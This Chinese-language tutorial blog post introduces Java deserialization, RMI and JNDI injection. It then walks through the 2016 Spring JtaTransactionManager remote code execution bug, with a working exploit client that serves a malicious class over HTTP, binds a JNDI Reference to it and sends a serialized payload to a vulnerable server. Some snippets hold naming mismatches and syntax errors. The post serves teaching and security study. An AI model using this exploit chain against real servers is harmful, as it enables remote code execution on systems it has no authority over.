从零开始的JAVA反序列化(一)

从一则代码谈谈什么是java反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.xdsec;

import java.io.*;


public class test {
public static void main(String args[])throws Exception{
//定义str字符串
String str="hello world!";
//创建一个包含对象进行反序列化信息的数据文件
FileOutputStream fos=new FileOutputStream("pupiles");
ObjectOutputStream os=new ObjectOutputStream(fos);
//writeObject()方法将obj对象写入object文件
os.writeObject(str);
os.close();
//反序列化str对象
FileInputStream fis=new FileInputStream("pupiles");
ObjectInputStream ois=new ObjectInputStream(fis);
//获得对象
String str2=(String)ois.readObject();
System.out.print(str2);
ois.close();
}
}

我们可以通过os.writeObject将我们的str对象写入文件中,接着,通过os.readObject将我们的对象从序列化文件中恢复。那我们先来看看写入的文件长什么样
 https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/Snipaste_2018-12-20_00-45-51.png
记住这里文件的前五个字节aced0005是java序列化文件的文件头。
看到这里肯定有很多同学有疑问,为什么要用复杂的反序列化,的确,在单一程序代码中使用序列化确实是很麻烦,但是如果在处理跨平台的数据传输和对对象和类的传输的时候却是非常重要的手段。

第二段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.xdsec;

import java.io.*;

public class test2{
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "pupiles";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("pupiles2");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("pupiles2");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}

class MyObject implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}

这次我们自己写了一个classMyObject。我们看到,MyObject类有一个公有属性name,myObj实例化后将myObj.name赋值为了“pupiles”,然后序列化写入文件pupiles2,然后反序列化
 https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/Snipaste_2018-12-20_00-40-19.png
这里弹出计算器的原因是我们重写了MyObject的readObject方法(注意这里MyObject需要实现Serializable的接口,否则该类无法进行序列化)

1
2
3
4
5
6
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}

所以当main函数调用反序列化的readObject方法的时候会打开计算器

反序列化与RMI和JDNI之间的小故事

很多同学会说怎么可能会有人这么写代码呢,当然不会,我们接下来继续看
先来介绍一下RMI和JDNI
RMI

1
2
3
RMI是Remote Method Invoke的缩写,是JDK提供的一个完善的、简单易用的远程调用框架,它要求客户端和服务器端都是Java程序。下面简述RMI的基本原理:如下图所示,RMI采用代理来负责客户端和服务器之间socket通信的细节。RMI框架分别为远程对象生成了客户端代理和服务器端代理,位于客户端的代理称为存根(Stub),位于服务器端的代理称为骨架(Skeleton)。

远程对象会在客户端生成存根对象。当客户端调用远程对象的方法时,实际上是调用本地存根的相应方法。然后,存根会把被访问的远程对象名、方法名以及参数编组后发送给服务器,由骨架去调用相应的远程方法并把返回值或异常返回给客户端。

创建一个RMI程序的基本步骤:
(1)创建远程接口,继承java.rmi.Remote接口;
(2)创建远程类,实现远程接口;
(3)创建服务器程序,在rmiregistry注册表中注册远程对象;
(4)创建客户端程序,负责定位远程对象,并且调用远程方法。
rmiServer.java

1
2
3
4
5
6
7
8
package main;

import java.rmi.Remote;
import java.rmi.RemoteException;
// 实现Remote接口
public interface rmiServer extends Remote {
public String service(String data) throws RemoteException;
}

rmiServerImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package main;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class rmiServiceImpl extends UnicastRemoteObject
implements HelloService {

private static final long serialVersionUID = 1L;
private String name;

public rmiServiceImpl(String name) throws RemoteException {
super();
this.name = name;
}

@Override
public String service(String data) throws RemoteException {
return data + name;
}
}

Server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Server {

public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);

HelloService service1 = new HelloServiceImpl("service1");
Context namingContext = new InitialContext();
namingContext.rebind("rmi://localhost:1099/HelloService1",
service1);
}
catch (RemoteException | NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("Successfully register a remote object.");

}
}

client.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main;

import java.rmi.RemoteException;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) {
// TODO Auto-generated method stub
String url = "rmi://localhost:1099/";
try {
Context namingContext = new InitialContext();
HelloService serv = (HelloService) namingContext.lookup(
url + "HelloService1");
String data = "This is RMI Client.";
System.out.println(serv.service(data));
}
catch (NamingException | RemoteException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}

简单来说就是客户端会通过lookup函数去调用远程服务端的方法,并返回执行结果。那说到这里可能有的同学就要说如果在目标服务器上存在lookup函数并且参数可控的话,我们就可以恶意注册一个rmi服务器去供其调用,实现RCE。其实并不是如此,我们来看一下rmi的执行过程
 https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/Snipaste_2018-12-20_00-40-04.png

  1. rmi服务注册他的名字和IP到RMI注册中心(bind)
  2. rmi客户端通过IP和名字去RMI注册中心找相应的服务(lookup)
  3. rmi Stub序列化调用的方法和参数编组后传给rmi Skeleton(call)
  4. rmi skeleton执行stub的逆过程,调用真实的server类执行该方法(invocation)
  5. rmi skeleton将调用函数的结果返回给stub(return)

所以真正执行该函数是在远程服务端,执行完成后会将结果序列化返回给应用端,客户端是不执行代码的,这点一定要搞清楚。
我们继续来看看JDNI

1
JNDI - Java Naming and Directory Interface 名为 Java命名和目录接口,具体的概念还是比较复杂难懂,具体结构设计细节可以不用了解,简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务,例如 LDAP、RMI、CORBA 等。在 Java 中为了能够更方便的管理、访问和调用远程的资源对象,常常会使用 LDAP 和 RMI 等服务来将资源对象或方法绑定在固定的远程服务端,供应用程序来进行访问和调用。为了更好的理解整个 JNDI 注入产生的原因,下面用实际代码来说明一下常规 RMI 访问和使用 JNDI 访问 RMI 的区别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.xdsec;

import java.util.Properties;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;

public class jdniServer {
public static void main(String args[]) throws Exception {
// 配置 JNDI 默认设置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);

// 本地开启 1099 端口作为 RMI 服务,并以标识 "hello" 绑定方法对象
Registry registry = LocateRegistry.createRegistry(1099);
rmiServerImpl service2 = new rmiServerImpl("service2");
registry.bind("hello", service2);
System.out.println("jdni server start...");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.xdsec;

import java.util.Properties;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;

public class jdniClient {

public static void main(String[] args) throws Exception {
// 配置 JNDI 默认设置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
// JNDI 获取 RMI 上的方法对象并进行调用
rmiServer rHello = (rmiServer) ctx.lookup("hello");
String data = "This is jdni Client.";
System.out.println(rHello.service(data));

}
}

页面回显了
 https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/Snipaste_2018-12-20_00-45-24.png

看上去没什么问题,但是如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
如以下代码

1
2
3
Reference refObj = new Reference("ClassName", "ClassName", "http://example.com:2333/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过 lookup(“refObj”) 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 ClassName 的类,如果本地未找到,则会去请求 http://example.com:2333ClassName.class 动态加载 classes 并调用 ClassName 的构造函数。讲到这里,攻击方法也就浮出水面了,如果refObj参数可控,我们即可rce。
当然这里还是有同学会说,正常的程序猿不会让lookup函数的参数给用户可控吧,的确事实确实如此,所以我们接着看。

spring rce

下面我们来看一个实例2016年的Spring框架的反序列化漏洞
Spring 框架中的远程代码执行的缺陷在于spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理。
server代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class ExploitableServer {
public static void main(String[] args) {
{
//创建socket
ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
//等待链接
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//读取对象
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

client代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = args[0];
int port = Integer.parseInt(args[1]);
String localAddress= args[2];
//启动web server,提供远程下载要调用类的接口
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8088), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
//下载恶意类的地址 http://127.0.0.1:8088/ExportObject.class
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);

System.out.println("Connecting to server "+serverAddress+":"+port);
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
//jndi的调用地址
String jndiAddress = "rmi://"+localAddress+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
//发送payload
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/Snipaste_2018-12-20_00-39-32.png

这里向Server发送的Payload是:

1
2
3
4
5
// jndi的调用地址
String jndiAddress = "rmi://127.0.0.1:1999/Object";
// 实例化JtaTransactionManager对象,并且初始化UserTransactionName成员变量
JtaTransactionManager object = new JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

之前我们说过,反序列化时会调用被序列化类的readObject()方法,readObject()可以重写而实现一些其他的功能,我们看一下JtaTransactionManager类的readObject()方法:

1
2
3
4
5
6
7
8
9
10
11
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();

// Create template for client-side JNDI lookup.
this.jndiTemplate = new JndiTemplate();

// Perform a fresh lookup for JTA handles.
initUserTransactionAndTransactionManager();
initTransactionSynchronizationRegistry();
}

initUserTransactionAndTransactionManager()是用来初始化UserTransaction以及TransactionManager

1
2
3
4
5
6
7
8
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException{
if(this.userTransaction == null){
//Fetch JTA UserTransaction from JDNI, if necessary.
if(StringUtils.haslength(this.userTransactionName);
this.userTransaction = lookupUserTransaction(this.userTransactionName));

}
***

lookupUserTransaction()方法会调用JndiTemplate的lookup()

1
2
3
4
pubic <T> T lookup(String name,Class<T> requiredType) throws NamingException{
Object jndiObject = lookup(name);
}
***

由于Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/");存在Reference类,所以会自动下载该类并执行该类的构造方法。
未完待续

参考链接

https://www.freebuf.com/vuls/115849.html
https://www.vulbox.com/knowledge/detail/?id=11
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/